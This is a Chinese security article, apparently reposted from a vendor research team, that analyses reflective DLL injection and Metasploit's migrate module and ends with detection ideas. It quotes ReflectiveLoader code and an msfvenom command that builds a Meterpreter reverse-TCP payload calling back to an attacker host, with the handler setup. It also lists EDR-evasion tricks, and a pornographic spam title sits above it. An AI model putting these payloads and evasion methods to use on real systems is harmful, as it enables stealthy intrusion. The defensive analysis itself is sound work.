亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

深入理解反射式dll注入技術(shù)

前言

dll 注入技術(shù)是讓某個(gè)進(jìn)程主動(dòng)加載指定的 dll 的技術(shù)。惡意軟件為了提高隱蔽性,通常會(huì)使用 dll 注入技術(shù)將自身的惡意代碼以 dll 的形式注入高可信進(jìn)程。

常規(guī)的 dll 注入技術(shù)使用 LoadLibraryA() 函數(shù)來(lái)使被注入進(jìn)程加載指定的 dll。常規(guī)dll注入的方式一個(gè)致命的缺陷是需要惡意的 dll 以文件的形式存儲(chǔ)在受害者主機(jī)上。這樣使得常規(guī) dll 注入技術(shù)在受害者主機(jī)上留下痕跡較大,很容易被 edr 等安全產(chǎn)品檢測(cè)到。為了彌補(bǔ)這個(gè)缺陷,stephen fewer 提出了反射式 dll 注入技術(shù)并在?github開源,反射式dll注入技術(shù)的優(yōu)勢(shì)在于可以使得惡意的dll通過(guò) socket 等方式直接傳輸?shù)侥繕?biāo)進(jìn)程內(nèi)存并加載,期間無(wú)任何文件落地,安全產(chǎn)品的檢測(cè)難度大大增加。

本文將從 dll 注入技術(shù)簡(jiǎn)介、msf migrate 模塊剖析、檢測(cè)思路和攻防對(duì)抗的思考等方向展開說(shuō)明反射式 dll 注入技術(shù)。

dll注入技術(shù)簡(jiǎn)介

1 常規(guī)dll注入技術(shù)

常規(guī) dll 注入有:

1)? 通過(guò)調(diào)用 CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread() 函數(shù)在被注入進(jìn)程創(chuàng)建線程進(jìn)行 dll 注入。

2)? 通過(guò)調(diào)用 QueueUserAPC()/SetThreadContext() 函數(shù)來(lái)劫持被注入進(jìn)程已存在的線程加載 dll。

3)? 通過(guò)調(diào)用 SetWindowsHookEx() 函數(shù)來(lái)設(shè)置攔截事件,在發(fā)生對(duì)應(yīng)的事件時(shí),被注入進(jìn)程執(zhí)行攔截事件函數(shù)加載 dll。

以使用 CreateRemoteThread() 函數(shù)進(jìn)行 dll 注入的方式為例,實(shí)現(xiàn)思路如下:

1)??獲取被注入進(jìn)程 PID。

2)??在注入進(jìn)程的訪問(wèn)令牌中開啟 SE_DEBUG_NAME 權(quán)限。

3)??使用 openOpenProcess() 函數(shù)獲取被注入進(jìn)程句柄。

4)??使用VirtualAllocEx()函數(shù)在被注入進(jìn)程內(nèi)開辟緩沖區(qū)并使用 WriteProcessMemory() 函數(shù)寫入 DLL 路徑的字符串。

5)??使用 GetProcAddress() 函數(shù)在當(dāng)前進(jìn)程加載的 kernel32.dll 找到 LoadLibraryA函數(shù)的地址。

6)??通過(guò) CreateRemoteThread() 函數(shù)來(lái)調(diào)用 LoadLibraryA() 函數(shù),在被注入進(jìn)程新啟動(dòng)一個(gè)線程,使得被注入進(jìn)程進(jìn)程加載惡意的 DLL。

常規(guī) dll 注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。

2 反射式dll注入技術(shù)

反射式 dll 注入與常規(guī) dll 注入類似,而不同的地方在于反射式 dll 注入技術(shù)自己實(shí)現(xiàn)了一個(gè) reflective loader() 函數(shù)來(lái)代替 LoadLibaryA() 函數(shù)去加載 dll,示意圖如下圖所示。藍(lán)色的線表示與用常規(guī)dll注入相同的步驟,紅框中的是 reflective loader() 函數(shù)行為,也是下面重點(diǎn)描述的地方。

Reflective loader 實(shí)現(xiàn)思路如下:

1)??獲得被注入進(jìn)程未解析的 dll 的基地址,即下圖第7步所指的 dll。

2)??獲得必要的 dll 句柄和函數(shù)為修復(fù)導(dǎo)入表做準(zhǔn)備。

3)??分配一塊新內(nèi)存去取解析 dll,并把 pe 頭復(fù)制到新內(nèi)存中和將各節(jié)復(fù)制到新內(nèi)存中。

4)??修復(fù)導(dǎo)入表和重定向表。

5)??執(zhí)行 DllMain() 函數(shù)。

Msf migrate模塊

msf 的 migrate 模塊是 post 階段的一個(gè)模塊,其作用是將 meterpreter payload 從當(dāng)前進(jìn)程遷移到指定進(jìn)程。

在獲得 meterpreter session 后可以直接使用 migrate 命令遷移進(jìn)程,其效果如下圖所示:

migrate 的模塊的實(shí)現(xiàn)和 stephen fewer 的?ReflectiveDLLInjection?項(xiàng)目大致相同,增加了一些細(xì)節(jié),其實(shí)現(xiàn)原理如下:

1)? 讀取 metsrv.dll(metpreter payload模板dll)文件到內(nèi)存中。

2)??生成最終的 payload。

  1. msf 生成一小段匯編 migrate stub 主要用于建立 socket 連接。
  2. 將 metsrv.dll 的 dos 頭修改為一小段匯編 meterpreter_loader 主要用于調(diào)用reflective loader 函數(shù)和 dllmain 函數(shù)。在 metsrv.dll 的 config block 區(qū)填充meterpreter 建立 session 時(shí)的配置信息。
  3. 最后將 migrate stub 和修改后的 metsrv.dll 拼接在一起生成最終的 payload。

3)??向 msf server 發(fā)送 migrate 請(qǐng)求和 payload。

4)??msf 向遷移目標(biāo)進(jìn)程分配一塊內(nèi)存并寫入 payload。

5)??msf 首先會(huì)創(chuàng)建的遠(yuǎn)程線程執(zhí)行 migrate stub,如果失敗了,就會(huì)嘗試用 apc 注入的方式執(zhí)行 migrate stub。migrate stub 會(huì)調(diào)用 meterpreter loader,meterpreter loader 才會(huì)調(diào)用 reflective loader。

6)??reflective loader 進(jìn)行反射式 dll 注入。

7)??最后 msf client 和 msf server 建立一個(gè)新的 session。

原理圖如下所示:

圖中紅色的線表示與常規(guī)反射式dll注入不同的地方。紅色的填充表示修改內(nèi)容,綠色的填充表示增加內(nèi)容。migrate 模塊的 reflective loader 是直接復(fù)用了 stephen fewer 的 ReflectiveDLLInjection 項(xiàng)目的?ReflectiveLoader.c?中的 ReflectiveLoader() 函數(shù)。下面我們主要關(guān)注 reflective loader 的行為。

1 靜態(tài)分析

1.1 獲取dll地址

ReflectiveLoader() 首先會(huì)調(diào)用 caller() 函數(shù)

uiLibraryAddress = caller();

caller() 函數(shù)實(shí)質(zhì)上是 _ReturnAddress() 函數(shù)的封裝。caller() 函數(shù)的作用是獲取caller() 函數(shù)的返回值,在這里也就是 ReflectiveLoader() 函數(shù)中調(diào)用 caller() 函數(shù)的下一條指令的地址。

#ifdef __MINGW32__#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))#else#pragma intrinsic(_ReturnAddress)#define WIN_GET_CALLER() _ReturnAddress()#endif__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

然后,向低地址逐字節(jié)比較是否為為 dos 頭的標(biāo)識(shí)MZ字串,若當(dāng)前地址的內(nèi)容為 MZ字串,則把當(dāng)前地址認(rèn)為是 dos 頭結(jié)構(gòu)體的開頭,并校驗(yàn) dos 頭 e_lfanew 結(jié)構(gòu)成員是否指向 pe 頭的標(biāo)識(shí) “PE” 字串。若校驗(yàn)通過(guò),則認(rèn)為當(dāng)前地址是正確的 dos 頭結(jié)構(gòu)體的開頭。


while( TRUE ){    //將當(dāng)前地址當(dāng)成dos頭結(jié)構(gòu),此結(jié)構(gòu)的e_magic成員變量是否指向MZ子串    if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) {        uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;        if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )        {            uiHeaderValue += uiLibraryAddress;            //判斷e_lfanew結(jié)構(gòu)成員是否指向PE子串,是則跳出循環(huán),取得未解析dll的基地址            if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )                break;        }}    uiLibraryAddress--;}

1.2??獲取必要的 dll 句柄和函數(shù)地址

獲取必要的 dll句柄是通過(guò)遍歷peb結(jié)構(gòu)體中的ldr成員中的InMemoryOrderModuleList 鏈表獲取 dll 名稱,之后算出 dll 名稱的 hash,最后進(jìn)行hash 對(duì)比得到最終的 hash。

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;while( uiValueA ){    uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;    usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;    uiValueC = 0;    ULONG_PTR tmpValC = uiValueC;    //計(jì)算tmpValC所指向子串的hash值,并存儲(chǔ)在uiValueC中....    if( (DWORD)uiValueC == KERNEL32DLL_HASH )

必要的函數(shù)是遍歷函數(shù)所在的dll導(dǎo)出表獲得函數(shù)名稱,然后做hash對(duì)比得到的。

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );usCounter = 3;while( usCounter > 0 )        {        dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );            if( dwHashValue == LOADLIBRARYA_HASH            //等于其他函數(shù)hash的情況            || ...            )            {                uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );                uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );                if( dwHashValue == LOADLIBRARYA_HASH )                    pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );                //等于其他函數(shù)hash的情況                ...                usCounter--;            }            uiNameArray += sizeof(DWORD);            uiNameOrdinals += sizeof(WORD);        }}

1.3?將 dll 映射到新內(nèi)存

Nt optional header 結(jié)構(gòu)體中的 SizeOfImage 變量存儲(chǔ)著 pe 文件在內(nèi)存中解析后所占的內(nèi)存大小。所以 ReflectiveLoader() 獲取到 SizeOfImage 的大小,分配一塊新內(nèi)存,然后按照 section headers 結(jié)構(gòu)中的文件相對(duì)偏移和相對(duì)虛擬地址,將 pe 節(jié)一一映射到新內(nèi)存中。

//分配SizeOfImage的新內(nèi)存uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );...uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;uiValueB = uiLibraryAddress;uiValueC = uiBaseAddress;//將所有頭和節(jié)表逐字節(jié)復(fù)制到新內(nèi)存while( uiValueA-- )    *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;//解析每一個(gè)節(jié)表項(xiàng)uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;while( uiValueE-- ){    uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );    uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;    //將每一節(jié)的內(nèi)容復(fù)制到新內(nèi)存對(duì)應(yīng)的位置    while( uiValueD-- )        *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;    uiValueA += sizeof( IMAGE_SECTION_HEADER );}

1.4? 修復(fù)導(dǎo)入表和重定位表

首先更具導(dǎo)入表結(jié)構(gòu),找到導(dǎo)入函數(shù)所在的 dll 名稱,然后使用 loadlibary() 函數(shù)載入dll,根據(jù)函數(shù)序號(hào)或者函數(shù)名稱,在載入的 dll 的導(dǎo)出表中,通過(guò) hash 對(duì)比,并把找出的函數(shù)地址寫入到新內(nèi)存的 IAT 表中。

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );//當(dāng)沒有到達(dá)導(dǎo)入表末尾時(shí)while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ){    //使用LoadLibraryA()函數(shù)加載對(duì)應(yīng)的dll    uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );...    uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );    //IAT表    uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );    while( DEREF(uiValueA) ){        //如果導(dǎo)入函數(shù)是通過(guò)函數(shù)編號(hào)導(dǎo)入        if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )        {   //通過(guò)函數(shù)編號(hào)索引導(dǎo)入函數(shù)所在dll的導(dǎo)出函數(shù)            uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];            uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );            uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );            uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );            //將對(duì)應(yīng)的導(dǎo)入函數(shù)地址寫入IAT表            DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );        }        else        {            //導(dǎo)入函數(shù)通過(guò)名稱導(dǎo)入的            uiValueB = ( uiBaseAddress + DEREF(uiValueA) );            DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );        }        uiValueA += sizeof( ULONG_PTR );        if( uiValueD )            uiValueD += sizeof( ULONG_PTR );}    uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );}

重定位表是為了解決程序指定的 imagebase 被占用的情況下,程序使用絕對(duì)地址導(dǎo)致訪問(wèn)錯(cuò)誤的情況。一般來(lái)說(shuō),在引用全局變量的時(shí)候會(huì)用到絕對(duì)地址。這時(shí)候就需要去修正對(duì)應(yīng)內(nèi)存的匯編指令。

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];//如果重定向表的值不為0,則修正重定向節(jié)if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ){    uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );    while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ){        uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );        uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );        uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);        //根據(jù)不同的標(biāo)識(shí),修正每一項(xiàng)對(duì)應(yīng)地址的值        while( uiValueB-- )        {            if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )                *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )                *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);            uiValueD += sizeof( IMAGE_RELOC );        }        uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;        uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;}}

2?動(dòng)態(tài)調(diào)試

本節(jié)一方面是演示如何實(shí)際的動(dòng)態(tài)調(diào)試 msf 的 migrate 模塊,另一方面也是獲取dll基地址章節(jié)的一個(gè)補(bǔ)充,從匯編層次來(lái)看會(huì)更容易理解。

首先用 msfvenom 生成 payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

并使用 msfconsole 設(shè)置監(jiān)聽

msf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 0.0.0.0lhost => 0.0.0.0msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444

之后在受害機(jī)使用 windbg 啟動(dòng) msf.exe 并且

bu KERNEL32!CreateRemoteThread;g

獲得被注入進(jìn)程新線程執(zhí)行的地址,以便調(diào)試被注入進(jìn)程。

當(dāng)建立 session 連接后,在 msfconsole 使用 migrate 命令


migrate 5600 //5600是要遷移的進(jìn)程的pid

然后 msf.exe 在 CreateRemoteThread 函數(shù)斷下,CreateRemoteThread 函數(shù)原型如下

HANDLE CreateRemoteThread(  [in]  HANDLE                 hProcess,  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  [in]  SIZE_T                 dwStackSize,  [in]  LPTHREAD_START_ROUTINE lpStartAddress,  [in]  LPVOID                 lpParameter,  [in]  DWORD                  dwCreationFlags,  [out] LPDWORD                lpThreadId);

所以我們要找第四個(gè)參數(shù) lpStartAddress 的值,即 r9 寄存器的內(nèi)容,

使用

!address 000001c160bb0000

去 notepad 進(jìn)程驗(yàn)證一下,是可讀可寫的內(nèi)存,基本上就是對(duì)的

此時(shí)的地址是 migrate stub 匯編代碼的地址,我們期望直接斷在 reflective loader 的函數(shù)地址,我們通過(guò)

s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000為上面的lpStartAddress,3200為我們獲取到的內(nèi)存塊大小

直接去搜 MZ 字串定位到 meterpreter loader 匯編的地址,進(jìn)而定位到 reflective loader 的函數(shù)地址

meterpreter loader 將 reflective loader 函數(shù)的地址放到 rbx 中,所以我們可直接斷在此處,進(jìn)入 reflective loader 的函數(shù),如下圖所示

reflective loader 首先 call ? ?000001c1`60bb5dc9 也就是caller()函 數(shù),caller() 函數(shù)的實(shí)現(xiàn)就比較簡(jiǎn)單了,一共兩條匯編指令,起作用就是返回下一條指令的地址

在這里也就是 0x000001c160bb5e08

獲得下一條指令后的地址后,就會(huì)比較獲取的地址的內(nèi)容是否為 MZ 如果不是的話就會(huì)把獲取的地址減一作為新地址比較,如果是的話,則會(huì)比較 e_lfanew 結(jié)構(gòu)成員是否指向 PE,若是則此時(shí)的地址作為 dll 的基地址。后面調(diào)試過(guò)程不在贅述。

檢測(cè)方法

反射式 dll 注入技術(shù)有很多種檢測(cè)方法,如內(nèi)存掃描、IOA 等。下面是以內(nèi)存掃描為例,我想到的一些掃描策略和比較好的檢測(cè)點(diǎn)。

掃描策略:

  1. Hook 敏感 api,當(dāng)發(fā)生敏感 api 調(diào)用序列時(shí),對(duì)注入進(jìn)程和被注入進(jìn)程掃描內(nèi)存。
  2. 跳過(guò) InMemoryOrderModuleList 中的 dll。

檢測(cè)點(diǎn)多是跟 reflective loader 函數(shù)的行為有關(guān),檢測(cè)點(diǎn)如下:

  1. 強(qiáng)特征匹配 ReturnAddress() 的函數(shù)。Reflectiveloader 函數(shù)定位 dos 頭的前置操作就是調(diào)用調(diào)用 ReturnAddress() 函數(shù)獲得當(dāng)前 dll 的一個(gè)地址。
  2. 掃描定位 pe 開頭位置的代碼邏輯。詳見靜態(tài)分析章節(jié),我們可以弱匹配此邏輯。
  3. 掃描特定的 hash 函數(shù)和 hash 值。在 dll 注入過(guò)程中,需要許多 dll 句柄和函數(shù)地址,所以不得不使用 hash 對(duì)比 dll 名稱和函數(shù)名稱。我們可以匹配 hash 函數(shù)和這些特殊的 hash 值。
  4. 從整體上檢測(cè) dll 注入。在被注入進(jìn)程其實(shí)是存在兩份 dll 文件,一份是解析前的原 pe 文件,一份是解析后的 pe 文件。我們可以檢測(cè)這兩份 dll 文件的關(guān)系來(lái)確定是反射式 dll 注入工具。

云主機(jī)安全保護(hù)平臺(tái) CWPP 能夠有效檢測(cè)此類利用反射式 dll 注入 payload 的無(wú)文件攻擊技術(shù)。檢測(cè)結(jié)果如圖所示:

攻防對(duì)抗的思考

對(duì)于標(biāo)準(zhǔn)的反射 dll 注入是有很多種檢測(cè)方式的,主要是作者沒有刻意的做免殺,下面對(duì)于我搜集到了一些免殺方式,探討一下其檢測(cè)策略。

  1. 避免直接調(diào)用敏感 api 。例如不直接調(diào)用 writeprocessmemory 等函數(shù),而是直接用 syscall 調(diào)用。這種免殺方式只能繞過(guò)用戶態(tài)的 hook。對(duì)于內(nèi)核態(tài) hook 可以解這個(gè)問(wèn)題。
  2. dll 在內(nèi)存中的 rwx 權(quán)限進(jìn)行了去除,變成rx。其實(shí)有好多粗暴的檢測(cè)反射式dll注入的攻擊方式,就是檢測(cè) rwx 權(quán)限的內(nèi)存是否為 pe 文件。
  3. 擦除 nt 頭和 dos 頭。這種免殺方式會(huì)直接讓監(jiān)測(cè)點(diǎn)4)影響較大,不能簡(jiǎn)單的校驗(yàn)pe頭了,需要加入更精確的確定兩個(gè) dll 的文件,比如說(shuō),首先通過(guò)讀取未解析的dll的SizeOfImage 的大小,然后去找此大小的內(nèi)存塊,然后對(duì)比代碼段是否一致,去判斷是否為同一 pe 文件。
  4. 抹除未解析 pe 文件的內(nèi)存。這種免殺方式會(huì)導(dǎo)致監(jiān)測(cè)點(diǎn)4)徹底失效,這種情況下我們只能對(duì) reflectiveloader() 函數(shù)進(jìn)行檢測(cè)。
  5. 抹除 reflectiveloader()?函數(shù)的內(nèi)存。這里就比較難檢測(cè)了。但是也是有檢測(cè)點(diǎn)的,這里關(guān)鍵是如何確定這塊內(nèi)存是 pe 結(jié)構(gòu),重建 pe 結(jié)構(gòu)之后,我們可以通過(guò)導(dǎo)出表去看導(dǎo)出函數(shù)是否被抹除。

參考鏈接

  1. https://bbs.pediy.com/thread-220405.htm
  2. https://bbs.pediy.com/thread-224078.htm
  3. https://github.com/sud01oo/ProcessInjection
  4. https://github.com/stephenfewer/ReflectiveDLLInjection
  5. 《Windows PE權(quán)威指南》
  6. https://github.com/rapid7/metasploit-payloads

本篇技術(shù)分析授權(quán)轉(zhuǎn)載作者:深信服千里目

上一篇:地下網(wǎng)絡(luò)犯罪團(tuán)伙眾生相

下一篇:2022云安全書籍必讀榜TOP10